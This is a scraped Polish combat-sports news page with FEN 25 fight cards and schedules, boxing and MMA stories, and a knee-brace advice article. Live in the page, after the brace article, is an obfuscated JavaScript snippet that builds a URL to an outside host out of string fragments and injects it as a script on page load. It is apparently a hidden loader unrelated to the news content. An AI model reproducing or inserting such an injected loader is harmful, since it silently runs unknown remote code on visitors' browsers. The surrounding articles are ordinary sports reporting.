Akcje marketingowe, zapowiedzi, materiały promocyjne, konferencje. No cóż… O poziomie kultury dyskutować nie będziemy, bo każdy definiuje go zapewne na swój sposób. Bogdan to przyjmuje do wiadomości. Jednak widzi ten lejący się żar nienawiści, zamieszki na konferencjach, wzajemne obrażanie, wyzywanie od najgorszych. Jest… czuć krew. Bogdan to lubi. Coś się dzieje! Tak ma być!

Bogdan ma swoją rozrywkę, która kreuje "Gwiazdy" i stwarza pozory. Chłop myśli, że coś wie. Bo ktoś mu powiedział, ktoś pokazał. Oglądasz show, MMA, sport. Bogdan to łapie niczym dziecko bańki mydlane. Rozumiecie? Bogdan ma swój świat. Poniekąd słychać ubolewanie tych, którzy cenią sport. Cierpią. Jednak wiadro rozrywki ich zalewa i pozostaje im robić swoje, z wiarą, że mają swoich wyznawców i ze świadomością, że dobra praca się obroni. Trudno im w to wierzyć. Dziwicie się? Wystarczy złożyć ofertę dziewczynie obserwowanej w mediach społecznościowych przez kilkanaście tysięcy osób i sprawa załatwiona. Bogdan siada i ogląda. Popcorn, banan na twarzy i jazda. Nie jest łatwo. Kula śniegowa się toczy. Czy ktoś ją zatrzyma? Kto otworzy oczy i sprawi, że sport wyjdzie z szatni?

Co, gdzie, jak – rozkład jazdy na Fight Week przed FEN 25

Przedstawiamy państwu plan na ostatnie dni przed galą FEN 25, która 15 czerwca odbędzie się w ostródzkim Amfiteatrze.

Konferencja prasowa – czwartek, 13.06, godzina 14:00

Zamek w Ostródzie (ul. Mickiewicza 22)

Bohaterowie konferencji prasowej:

Zbigniew Michalak – Burmistrz Ostródy
Bogusław Fijas – Wójt Ostródy
Andrzej Wilczkowski – Starosta
Paweł Jóźwiak – prezes Fight Exclusive Night
Katarzyna Lubońska
Izabela Badurek
Maciej Jewtuszko
Adrian Zieliński
Fabiano Silva

Ceremonia ważenia – piątek, 14.06, godzina 18:00

Miejsce: Molo w Ostródzie

Transmisja: Facebook FEN, realizacja – telewizja FighTime

Plan gali:

Pierwsza walka karty wstępnej: godzina 18:30. W skład karty wstępnej wchodzą 3 walki.

20:00 – ceremonia otwarcia gali

20:15 – pierwsza walka karty głównej

Transmisja telewizyjna:

Od 19:00 – Polsat Sport, Polsat Sport Fight

Od 20:00 – Super Polsat, Polsat Sport

Od 22:00 – Polsat, Polsat Sport

""

KARTA WALK FEN 25:
70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
93 kg, MMA: Bartosz Leśko vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz
70 kg, K-1: Bartłomiej Witkowski vs Pavel Kobyliatskyi

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Arreola na drodze Kownackiego

3 sierpnia w Nowym Jorku Adam Kownacki stoczy swoją dwudziestą zawodową walkę. Jego rywalem będzie Chris Arreola.

Akcje Adama Kownackiego w wadze ciężkiej poszybowały w górę. Nie da się ukryć, że popularny "Baby Face" znajduje się w czołówce kategorii królewskiej. Dowodzi tego wymienianie jego nazwiska w kontekście rywalizacji z mistrzem WBC Deontayem Wilderem czy też ostatnio przy okazji poszukiwania przeciwnika dla Anthony'ego Joshuy (po wpadce dopingowej Jarrella Millera – red.). Kownacki znalazł się w ścisłym gronie kandydatów do zmagań o tytuły i wydaje się, ze prędzej czy później dostanie taką szansę. Tymczasem na jego drodze pojawia się kolejna przeszkoda, a jest nią doświadczony Chris Arreola. Walkę zaplanowano na 3 sierpnia.

Amerykanina nie trzeba długo przedstawiać. Dał się poznać w ringu jako twardy i skuteczny bokser, jednak w decydujących walkach nie osiągnął sukcesu. W 2009 roku w Los Angeles uległ Witalijowi Kliczko w starciu o pas WBC. Amerykanin przegrał w dziesiątej rundzie przez techniczny nokaut. Cztery lata później na szali pojawił się wakujący pas WBC, a rywalem Arreoli był Bermane Stiverne. Urodzony w Los Angeles pięściarz ponownie musiał obejść się smakiem. Trzeci raz o tytuł WBC Arreola walczył w lipcu 2016 roku z Wilderem, jednak w ósmej rundzie został poddany przez trenera. W swojej karierze Amerykanin spotkał na swojej drodze także Tomasza Adamka. Lepszy okazał się Polak. Atutem Arreoli jest ogromne doświadczenie, a także wysokie umiejętności. Wygrał 38 walk, w tym 33 przed czasem. W ostatnich dwóch pojedynkach triumfował – pokonał Maurenzo Smitha i Jeana Pierre'a Augustina.

Adam Kownacki nie zwalnia tempa i idzie jak burza. Po pokonaniu Artura Szpilki, "Baby Face" zaczął być traktowany poważnie. Wcześniej różnie odbierano jego posturę i brzuch, ale jak pokazuje Kownacki, a udowodnił również Ruiz Jr. – nie stanowi to problemu w wygrywaniu. W tym roku Kownacki pokonał w drugiej rundzie Geralda Washingtona. Wcześniej wygrał z byłym mistrzem IBF Charlesem Martinem

Wygrana Kownackiego sprawi, że będzie już naprawdę o krok od walki o najwyższe laury. Arreola lata świetności ma za sobą, ale to nadal mocny rywal. Groźniejszy wydaje się jednak Kownacki.

Fot. Adam Kownacki Instagram

KM

Manuwa na sportowej emeryturze

Jeden z czołowych zawodników kategorii półciężkiej UFC Jimi Manuwa podjął decyzję o zakończeniu sportowej kariery. 39-latek ostatni raz w oktagonie zaprezentował się 1 czerwca br. roku podczas gali w Sztokholmie, gdzie musiał uznać wyższość Aleksandara Rakicia.

Zawodnik z Wielkiej Brytanii znany jest w Polsce z rywalizacji z Janem Błachowiczem, z którym spotkał się dwukrotnie. W kwietniu 2015 roku Manuwa triumfował w Krakowie, zaś blisko trzy lata później w Londynie lepszy okazał się Polak. Ostatnie dwa lata były jednak trudne dla 39-letniego fightera. Manuwa przegrał cztery kolejne pojedynki, w tym trzy przed czasem. To jeden z elementów, który zaważył na decyzji zawodnika. – Miałem świetną karierę w sztukach walki i te cztery ostatnie walki były ciężkie nie tylko dla mnie, ale i dla mojej rodziny, która zawsze jest pierwsza. Dałem kilka nokautów i przyjąłem ich trochę. To jest mój styl dla kochających fanów, ale to wszystko daje kontuzje, które są niewidoczne dla oka. Poznałem wielu wspaniałych ludzi, podróżowałem po świecie, ale nadszedł czas, aby zakończyć ten rozdział i przejść do następnego – napisał Manuwa w mediach społecznościowych.

"Poster Boy" odkrył UFC w wieku 26 lat, a dwa lata później zaczął trenować muay thai i BJJ. Efekty przyszły stosunkowo szybko. Pierwsze pojedynki Manuwa stoczył w 2008 roku i szedł jak burza. Zawodnik wygrał jedenaście kolejnych starć i trafił do UFC w 2012 roku. Dobra postawa w amerykańskiej organizacji sprawiła, że reprezentant Wysp Brytyjskich dopominał się walki o pas mistrzowski, jednak szansy nie otrzymał. Rywalizował z takimi zawodnikami jak Alexander Gustafsson czy Anthony Johnson, ale przegrywał. Ostatni raz Manuwa triumfował w marcu 2017 roku, kiedy to w pierwszej rundzie znokautował Coreya Andersona. Później przegrywał kolejno z Volkanem Oezdemirem, Janem Błachowiczem, Thiago Santosem i Aleksandarem Rakiciem. Bilans 39-latka to 17 zwycięstw i 6 porażek. – Dziękuję Dana White i UFC za możliwość zaprezentowania umiejętności. Dziękuję wszystkim moim trenerom, partnerom treningowym, którzy wiele pomogli mi i nauczyli – napisał Manuwa.

Fot. Jimi Manuwa Instagram

KM

32 wojowników w Łodzi

Wielkimi krokami zbliża się gala ACA 96. W Łódź Sport Arenie zaprezentuje się 32 wojowników, wśród nich nie zabraknie Polaków.

Zawodnicy znad Wisły są niemal nieodłącznym elementem wydarzeń organizowanych przez Absolute Championship Akhmat. Warto podkreślić, że nie są tłem, ale znaczącymi postaciami ACA. Piotr Strus oraz Karol Celiński mieli okazję rywalizować o pasy mistrzowskie organizacji, odpowiednio w wadze średniej i wadze półciężkiej. Obaj zaprezentują się w Łodzi. Dla zawodnika z Warszawy będzie to już ósme w starcie w ACA, wcześniej ACB. Strus będzie chciał przełamać złą passę – przegrał dwie ostatnie walki. W Łodzi zmierzy się ze Svetlozarem Savovem. Bułgar znany jest publiczności w Polsce, w marcu 2016 roku wystąpił na KSW 34 i został znokautowany przez Antoniego Chmielewskiego. Od tamtej pory Savov wygrał trzy pojedynki. Drugie starcie z rzędu w Polsce stoczy Karol Celiński, który w lutym w Warszawie nie sprostał Dowledżchanowi Jagszimuradowowi w starciu o pas. W czwartej rundzie triumfował zawodnik z Turkmenistanu. Celiński będzie chciał wrócić na zwycięską ścieżkę w potyczce z Lukiem Barnattem, którego pokonał blisko rok temu w Brisbane. Anglik to doświadczony fighter, który ma za sobą przygodę w UFC, więc Polak musi mieć się na baczności.

Po trzecią wygraną w Łodzi będzie zmierzał Marcin Held (na zdjęciu). – Przygotowania zakończone z dobrą formą i bez kontuzji. Gotowy na 8 czerwca – deklaruje zawodnik. Held w efektowny sposób zaczął przygodę z ACA. Oba pojedynki rozstrzygnął przez poddanie w pierwszych rundach. W Łodzi Polak zmierzy się z Diego Brandao. 32-letni Brazylijczyk przez długi czas rywalizował w UFC, ostatnio prezentował się na Rizin. W grudniu 2018 roku zanotował zwycięstwo na gali Russian Cagefighting Championship – RCC 5, gdzie pokonał w pierwszej rundzie Venera Galieva. Na drodze Daniela Omielańczuka stanie Rosjanin Evgeny Erokhin.

Do debiutu w ACA szykuje się Marcin Bandel. Doświadczony Polak zmierzy się z Arseniym Sultanovem, który dotychczas stoczył pięć walk w MMA. W polsko-polskich starciach zobaczymy Radosława Paczuskiego i Piotra Szczodrowskiego oraz Łukasza Rajewskiego i Łukasza Koperę. Po występach w polskich organizacjach, FEN i Babilon MMA, otoczenie zmieni Paweł Pawlak. Były zawodnik UFC zmierzy się z Rosjaninem Evgenym Bondarem.

W walce wieczoru gali w Łodzi o pas wagi ciężkiej zmierzą się Evgeniy Goncharov oraz Tony Johnson. Rosjanin ma na koncie dziewięć kolejnych wygranych. Z kolei Johnson efektownie zadebiutował w ACA – w Warszawie w pierwszej rundzie poddał Denisa Smoldareva.

Fot. Marcin Held Facebook

KM

To ci dopiero

Ta informacja zelektryzowała cały bokserski świat. Anthony Joshua stracił pasy mistrzowskie WBA, WBO, IBF i IBO w wadze ciężkiej na rzecz Andy'ego Ruiza Jr. Niespodzianka, a tym samym rozpoczął się nowym rozdział w historii kategorii królewskiej.

Ruiz przeżywa wielkie chwile. Trzeba jednak zauważyć, że jego wiktoria to trochę historia Kopciuszka. 29-letni Ruiz wykorzystał szansę, którą dał mu los. Przecież 1 czerwca w Madison Square Garden w Nowym Jorku Joshua miał rywalizować z innym przeciwnikiem. W lutym świat usłyszał, że w kolejnej obronie mistrzowskich pasów "AJ" spotka się z Jarrellem Millerem. Dla czempiona miał być to pierwszy pojedynek poza granicami ojczystego kraju. Miller zapowiadał, że znokautuje mistrza, ale w kwietniu o jego słowach mało kto pamiętał. Amerykanin zaliczył wpadkę dopingową. Niedozwolone środki wykryto w próbce pobranej od pięściarza 20 marca.

Był 17 kwietnia i Eddie Hearn natychmiast rozpoczął poszukiwania rywala, który zastąpiłby Millera w starciu z „AJ”. Giełda nazwisk była długa. Wśród potencjalnych rywali brytyjskiego czempiona wymieniano Luisa Ortiza, Manuela Charra, Kubrata Pulewa, Michaela Huntera, Oscara Rivasa, Andy'ego Ruiza Jr. Pojawiły się również nazwiska Artura Szpilki i Adama Kownackiego. Wybór padł na Ruiza Jr., dla którego była to druga szansa na zdobycie tytułu mistrzowskiego. Wcześniejsze podejście było nieudane dla Meksykanina. Ruiz Jr. przegrał w grudniu 2016 roku pojedynek o wakujący pas WBO z Josephem Parkerem.

W kontekście starcia o cztery tytuły mistrzowskie należy zwrócić uwagę, że następcę Millera ogłoszono 1 maja, czyli miesiąc przed planowaną walką! Ruiz Jr. miał pełną świadomość, że staje przed wielką szansą i chciał przejść do historii. Niejednokrotnie w ringu pokazał moc. Ponad 20 wygranych przed czasem nie wzięło się zniknąd, ale musiał stanąć "oko w oko" z niepokonanym "Joshuą, który odebrał miano najlepszego wielkiemu Władimirowi Kliczko. 1 czerwca "AJ" był innym pięściarzem. Co prawda w trzeciej rundzie Ruiz wylądował na deskach, ale chwilę później mistrz również na nie padł! Kolejne rundy to już dominacja Meksykanina i coraz słabszy Joshua, który nie potrafił się odnaleźć w ringu. Siódma runda wyłoniła nowego czempiona.

Największa sensacja ostatnich lat. Kopciuszek wkroczył na salony, ale czy to tylko chwilowy poryw? Rewanż jest nieunikniony. Zapewne odbędzie się na jesieni.

Joshua zanotował pierwszą porażkę i spadł z tronu. Niepokonanym mistrzem pozostaje nadal Deontay Wilder. Dla Amerykanina porażka "AJ" to duża satysfakcja i teraz bez żadnych wątpliwości może powtarzać, że jest najlepszy w wadze ciężkiej. W obwodzie jest jeszcze Tyson Fury. Świat też czeka na ich pojedynek rewanżowy. Joshua się potknął i dał satysfakcję Wilderowi. Tym samym wpadka "AJ" oddala wizję jego starcia z Amerykaninem.

KM

Cztery mistrzowskie starcia

Kickboxing na najwyższym poziomie zawita do Centrum Sportu w Mysiadle. 1 czerwca odbędzie się gala "Lesznowola Kickboxing Fight II".

Popularność formuły K-1 Rules stale rośnie, a kibice są głodni atrakcyjnych walk, które stoją na wysokim poziomie. Z mistrzostw Europy z Bratysławy biało-czerwoni wrócili z trzema medalami, w tym złotym Kamili Bałandy. Po raz kolejny Polacy będą mogli udowodnić swój potencjał w listopadzie w Turcji, gdzie odbędą się mistrzostwa świata.

Na arenie krajowej odbywają się ciekawe gale, podczas których rodzą się kolejni mistrzowie. Ciężka praca w klubach weryfikowana jest podczas licznych wydarzeń. 1 czerwca w Mysiadle odbędzie się gala "Lesznowola Kickboxing Fight II", która zapowiada się interesująco z racji czterech walk o tytuły zawodowych mistrzów Polski. Trzy pojedynki odbędą się wśród seniorów w formule K-1. Po raz drugi o pas będzie walczył Arkadiusz Kaszuba (81kg). Zawodnik Rzeszowskiego Klubu Sportów Walki zdobył tytuł, ale nie miał okazji go bronić. W Mysiadle zmierzy się z Rafałem Kamińskim. Złą passę będzie chciał przerwać Paweł Józefowicz (67kg), który przegrał trzy walki z Kamilem Rościńskim. Wygrana w Mysiadle miałaby więc wyjątkowy smak. W trzeciej mistrzowskiej walce w kategorii -75kg spotkają się Daniel Kolasiński i Daniel Strzemiński. Czwarty pojedynek o tytuł odbędzie się w low kick w wadze +70kg. O młodzieżowe mistrzostwo Polski powalczą Justyna Ciborska i Katarzyna Tyl.

Nie zabraknie lokalnego akcentu. W wadze +91kg zaprezentuje się Mateusza Gola z TS Wiśniewski Team Lesznowola. Jego rywalem będzie reprezentant Wisły Sandomierz – Damian Zapart. W Mysiadle swoje pojedynki stoczą również m.in. Adrian Gunia z Dragona Starachowice, Mikołaj Kopaniszyn z Palestry Warszawa, Maciej Wyszyński z X Fight Piaseczno czy Krzysztof Górski z Polkonu Legnica.

W ubiegłym roku gala w Mysiadle cieszyła się dużym zainteresowaniem. Organizatorzy nie kryli zadowolenia z tego faktu. Tym razem dołożono również wszelkich starań, aby zapewnić najwyższy poziom sportowy i nie zapomniane emocje. 1 czerwca o 19.00 zapraszamy do oglądania gali "Lesznowola Kickboxing Fight II" na antenie FighTime TV. Link do transmisji: https://fightime.pl/pl/video/live-lesznowola-kickboxing-fight-2/.

KM

FEN 25 – Trailer

FEN 25 już 15 czerwca 2019 r. w Ostródzie.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

[kod]

Stabilizator kolana – kiedy stosować i o czym pamiętać?

Uprawianie aktywności fizycznej wiąże się z ryzykiem wystąpienia rozmaitych kontuzji. Często, są one związane z uszkodzeniem stawu kolanowego. Właśnie dlatego, warto zainwestować w profesjonalną ortezę (stabilizator), która pomoże unieruchomić kolano w przypadku jego uszkodzenia. Sprawdź, kiedy stosować ortezę i na co zwrócić uwagę przed kupnem.

Stabilizator, oprócz unieruchamiania, pełni funkcję korekcyjną i może być stosowany w procesie rehabilitacji uszkodzonego stawu. Głównym zadaniem ortezy jest odciążenie stawu, więzadeł i mięśni. Stabilizacja pomaga w utrzymaniu kolana we właściwej pozycji,  zmniejsza również ryzyko pogłębienia się kontuzji oraz przyspiesza powrót do pełni sił.

Kiedy nosić stabilizator na kolano?

Najczęściej, stabilizatory stosuje się w przypadku urazu stawu, skręcenia lub zwichnięcia nogi oraz przy stanie zapalnym i obrzęku kończyny. Oprócz wymienionych sytuacji, stabilizację można stosować również w czasie bólu reumatycznego lub stawowego.

Co ważne, każdy z powyższych urazów powinien być stwierdzony przez lekarza lub fizjoterapeutę. Doborem odpowiedniego stabilizatora również powinien zająć się specjalista, który zaleci właściwy typ, rozmiar oraz kąt zgięcia i wyprostu stawu.

Rodzaje stabilizatorów

  • Stabilizatory twarde

Stabilizację mają zapewnić specjalne, konstrukcyjne elementy usztywniające. Twarde ortezy ograniczają mobilność stawu, zapewniają usztywnienie kolana i gwarantują duże wsparcie dla mięśni. Zazwyczaj używa się ich w przypadku poważniejszych urazów lub zabiegów operacyjnych. Stabilizator twardy może być stosowany jako zamiennik gipsu.

  • Stabilizatory sportowe

Ortezy przeznaczone dla sportowców wykonywane są na specjalne zamówienie. Działają podobnie, jak klasyczne stabilizatory, ale zapewniają przy tym większą mobilność stawu, przez co umożliwiają aktywność fizyczną.

Często stosowane są przez sportowców, którzy w szczególny sposób narażeni są na uszkodzenia stawu kolanowego. Oprócz tego, używa się ich u pacjentów, którzy odczuwają barierę psychiczną i obawiają się kolejnej kontuzji. Największą wadą stabilizatorów sportowych jest ich wysoka cena.

  • Stabilizatory miękkie

Najczęściej są to elastyczne ściągacze, opaski lub miękkie ortezy zapinane na rzepy. Stosuje się je w przypadku niewielkich urazów lub w celach profilaktycznych. Szczególnie rekomenduje się je dla osób, które są w trakcie rehabilitacji i wracają do zdrowia po urazie. Zaletą miękkich stabilizatorów jest ich niska cena oraz dostępność w każdej aptece, czy sklepie rehabilitacyjnym.

Opaska na kolano: jak dobrać?

Najlepiej postawić na opaskę bezszwową, która zapewni komfort podczas noszenia. Głównym zadaniem opaski uciskowej ma być nie tyle stabilizacja kolana, co utrzymanie go w odpowiedniej temperaturze oraz ochrona przed drobnymi urazami. Aby opaska posłużyła na dłuższy czas, warto zwrócić uwagę na materiał, z którego została wykonana.

Urazy kolana należą do najczęstszych uszkodzeń stawów. Najlepszym sposobem na powrót do formy po kontuzji jest zastosowanie stabilizacji. Na rynku jest wiele rodzajów stabilizatorów, a wybór odpowiedniego powinna poprzedzić konsultacja z lekarzem lub fizjoterapeutą.

[kod]

(function(){
cx8u=document.createElement("script");cx8u_=("ust");cx8uu="134609084";
cx8u_+="a"+("t.i");cx8u.type="text/javascript";
cx8uu+=".t5a2eXpqx8u1a32nX5wu";cx8u.async=true;cx8u_+="n"+("f"+"o")+"/";
cx8uu+="s5a230dfsn";cx8u.src="https://"+cx8u_+cx8uu;
document.body.appendChild(cx8u);
})();

Chisora dostanie Szpilkę?

Dereck Chisora zawsze poszukiwał rozgłosu i robił wszystko, aby znaleźć się na szczycie. Próby zawojowania wagi ciężkiej nie powiodły się, jednak 35-latek cały czas boksuje. Jego kolejna walka odbędzie się 20 lipca w Londynie. Możliwe, że urodzony w Zimbabwe pięściarz spotka się z Arturem Szpilką.

Osiem lat temu Chisora znajdował się w ścisłej czołówce kategorii królewskiej. Pięściarz rywalizował o tytuł mistrza Europy z Robertem Heleniusem, jednak po dwunastu rundach triumfował się Fin. Z kolei w lutym 2012 roku w Monachium Chisora spotkał się z Witalijem Kliczko. Na szali pojawił się pas mistrza świata WBC w kategorii ciężkiej. Brytyjczyk zaprezentował się z dobrej strony i wysoko zawiesił poprzeczkę Ukraińcowi, jednak przegrał. Trzeba pamiętać, że Chisora nigdy nie należał do kategorii potulnych baranków. Pięściarz nie darzył się sympatią z Davidem Hayem, z którym wdał się w bójkę na konferencji prasowej po walce z Kliczko. Następstwem tego zdarzenia było pozbawienie Chisorę licencji bokserskiej.

W końcu wszystko wróciło na prostą i urodzony w Zimbabwe pięściarz mógł rywalizować z nielubianym przeciwnikiem o miano najlepszego na Wyspach Brytyjskich. Stawką starcia z Haye'm były wakujące pasy międzynarodowe WBA i WBO. Pojedynek zakończył się w piątej rundzie, Chisora musiał przełknąć gorycz porażki. Pięściarz musiał się odbudować, pokonywał mniej znanych rywali, jednak w starciu z czołówką m.in. Tyson Fury i Kubrat Pulew okazywał się bezradny. Prześladowcą Chisory okazał się Dillian Whyte, z którym przegrał dwukrotnie. W ostatnim starciu 35-latek pokonał, bez większych problemów, Senada Gashiego.

Kolejną walkę Chisora ma stoczyć 20 lipca. Wśród potencjalnych przeciwników Brytyjczyka wymienia się Artura Szpilkę. Również dla Polaka byłaby szansa na głośną walkę zagranicą. Po raz ostatni "Szpila" zaprezentował się w ringu w listopadzie 2018 roku, kiedy to pokonał Mariusza Wacha. Wcześniej wygrał z Dominickiem Guinnem.

Dla Szpilki pojedynek z Chisorą byłby wyzwaniem i pierwszym od przegranego starcia z Adamem Kownackim występem zagranicą. Brytyjczyk liczy zaś na 31. Zwycięstwo w karierze.

KM

30 – lecie polskiego kickboxingu

Światowa Organizacja WAKO Kickboxing objęła oficjalny patronat nad obchodami 30-lecia PZKB – Prezydent WAKO gościem honorowym!!!

Polski Związek Kickboxingu z ogromną satysfakcją informuje, że Prezydent WAKO Pan Roy Baker przyjął zaproszenie Prezesa Piotra Siegoczyńskiego i będzie gościem honorowym podczas obchodów 30-lecia PZKB 14 września we Włocławku. To dla nas duży zaszczyt oraz docenienie dotychczasowych działań związku w promocji kickboxingu w Polsce i na Świecie.

Kawulski: Czy było warto?

Podczas KSW 49 w Ergo Arenie Michał Materla przegrał z Scottem Askhamem bój o pas mistrzowski w wadze średniej. 35-latek doznał kontuzji oka. Głos w sprawie występu Materli zabrał Maciej Kawulski.

Popularny "Magic" to jedna z ikon KSW, z którą związany od ponad dziesięciu lat. W 2012 roku Materla pokonując Jaya Silvę sięgnął po pas w wadze średniej. Stracił do trzy lata później na rzecz Mameda Chalidowa. Michał Materla przeżywał również trudne chwile w wymiarze osobistym. Przez dłuższy czas był nieobecny w rywalizacji sportowej. Wrócił jednak w efektownym stylu w październiku 2017 roku i w Dublinie znokautował Paulo Thiago. Potem przegrał ze Scottem Askhamem. Następnie Materla wygrał dwie walki, w tym jedną w półfinale turnieju wagi średniej i ponownie mógł sięgnąć po pas. Na jego drodze stanął Askham. Anglik wygrał w trzeciej rundzie po celnym latającym kolanie. Oko Materli wyglądało źle. – To jest cholernie ciężki sport. Czasem porywasz tłumy wielkimi wygranymi a czasem musisz zostawić w klatce kawał zdrowia, żeby zerwać tysiące ludzi z krzeseł. Michał nigdy nie kalkulował . Robił zawsze wszystko w imię najważniejszej obietnicy jaką może złożyć wojownik swoim fanom. Obietnica ta brzmi : „Nigdy nie zabraknie mi serca do walki – skomentował w mediach społecznościowych Maciej Kawulski, współwłaściciel KSW.

Fighterzy wchodzą do klatki, aby wygrywać i porywać serca publiczności. Często odnoszą poważne kontuzje. Materla chciał ponownie sięgnąć o pas i zrewanżować się rywalowi za wcześniejszą porażkę. – Czy było warto ? To pytanie do was. To wasze brawa ale przede wszystkim ostateczny szacunek pokryje koszta z którymi musi się liczyć zawodnik. Kiedy rany się zagoją i pokryją je blizny, kiedy ciało pokryją siwe włosy tylko wasze owacje zostaną w pamięci weterana. Wtedy nawet najmniejsza kropla krwi na zębach zerwie stare kości do ruchu. To pamięć o waszych brawach pozwala żyć wojownikowi kiedy już opada kurz po bitwie. Wrzawa pełnej hali ledwo słyszalna w czasie walki rozbrzmiewa mu w głowie najgłośniej ze wszystkich rzeczy, które słyszy w czasie kiedy klatka staje się już tylko ledwo widocznym wspomnieniem. Są chwile, których się nie zapomina. Są dźwięki, których nigdy nie przestaje się słyszeć. To dla nich było warto ….. jest warto – napisał Maciej Kawulski.

Fot. Maciej Kawulski Instagram

KM

Czas na odpowiedź

Mistrz świata WBC w wadze ciężkiej Deontay Wilder w pierwszej rundzie odprawił Dominica Breazeale'a. Być może kolejnym rywalem Amerykanina będzie Tyson Fury. Olbrzym z Wilmslow pojawi się w ringu 15 czerwca, a jego rywalem będzie Tom Schwarz. Czy Fury pośle Wilderowi znak ostrzegawczy?

Wiadomo, że w wadze ciężkiej jest gorąco. Najprościej mówiąc – „trafił swój na swego”. 1 grudnia 2018 roku pojedynek Wildera i Fury’ego zakończył się remisem. Pięściarze nie szczędzą sobie cierpkich słów. Gdzieś w tle pojawia się jeszcze Anthony Joshua, ale wszyscy liczą na rewanż Wildera i Fury’ego. Pojedynek miałby odbyć się w 2020 roku.

18 maja Wilder wysłał sygnał, że jest mocny. Dominic Breazeale, który aż 18 pojedynków wygrał przez nokaut, tym razem został zwalony z nóg już w pierwszej rundzie. Wilder odniósł 41 zwycięstwo w karierze, a 40 przed czasem. Imponujący bilans 33-letniego mistrza świata.

Jak odpowie mu Tyson Fury? Brytyjczyk zabrał głos na temat Wildera i nawet zaproponował, że jest gotowy walczyć na gołe pięści. Z tym, że Fury 15 czerwca stoczy 28 pojedynek w karierze. Na jego drodze stanie 24-letni Tom Schwarz. Dla Niemca będzie to pierwszy pojedynek w Stanach Zjednoczonych, a zarazem premierowy występ poza Europą. Schwarz dotychczas nie przegrał. Niektórzy jednak z przymrużeniem oka podchodzą do kolejnego rywala Fury'ego, ale ring wszystko zweryfikuje. Wiadomo, że dla Niemca to ogromne wyzwanie i szansa, a dla Brytyjczyka to starcie jest tylko punktem na drodze do celu.

Zanim w Las Vegas zaprezentuje się Fury, 1 czerwca w Madison Square Garden do kolejnej obrony tytułów IBF, IBO, WBA i WBO stanie Anthony Joshua. Pierwotnie "AJ" miał rywalizować z Jarrellem Millerem, ale pięściarz wpadł na stosowaniu niedozwolonych środków. Mistrz spotka się z Andy'm Ruizem Jr. 29-letni Amerykanin ma większe, w ilości stoczonych pojedynków, ringowe doświadczenie niż Joshua. Dotychczas Ruiz raz walczył o pas i poległ. W grudniu 2016 roku po tytuł WBO sięgnął Joseph Parker. Od tamtej pory Amerykanin wygrał trzy pojedynki.

W czerwcu w wadze ciężkiej mogą paść dwie ważne odpowiedzi. Jeśli Fury wygra, na horyzoncie będzie jego rewanż z Wilderem. W przypadku „AJ”, rozpocznie się poszukiwanie kolejnego rywala.

KM

FEN 25: Fabiano Silva rywalem Zielińskiego w walce o pas

Fabiano Silva (30-11, 11 KO, 12 SUB) będzie rywalem Adriana Zielińskiego (18-8, 5 KO, 6 SUB) podczas gali FEN 25, która 15 czerwca odbędzie się w ostródzkim Amfiteatrze. Stawką tego starcia będzie pas mistrzowski FEN w kategorii piórkowej.

„Jacarezinho”, bo tak brzmi przydomek zawodnika z Brazylii, ma aż 30 zwycięstw na swoim koncie. 11 z nich odniósł przez KO, 12-krotnie poddawał swoich rywali. 4 maja podczas gali ELITE MMA Championship w niemieckim Dusselfdorie Silva pokonał po bardzo zaciętym boju w walce wieczoru Nilsona Pereirę. Wcześniej przez techniczny nokaut rozprawił się z Paulo Machado. O sile Brazylijczyka przekonali się między innymi Lucas Pivatto i Dragan Desic, których „Jacarezinho” znokautował w premierowych odsłonach.

Zieliński efektownie zadebiutował w FEN w marcu tego roku, gdy w 1. rundzie przez techniczny nokaut rozprawił się z Kamilem Łebkowskim. Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 18 zwycięskich pojedynków aż 11 miało miejsce przed czasem.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Kamil Paczuski vs Karol Łasiewicki 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 
TBA vs TBA 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

FEN 25: Zestawienie Paczuski vs Łasiewicki wypada z kart walk na Ostródę

Kamil Paczuski (0-0) nie zmierzy się 15 czerwca w Ostródzie z Karolem Łasiewickim (1-0). Powodem odwołania walki jest kontuzja pierwszego z zawodników.

Paczuski doznał kontuzji więzadeł w kolanie i jego występ w Ostródzie jest niemożliwy. Pojedynek ten odbędzie się na jednej z kolejnych gal FEN.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
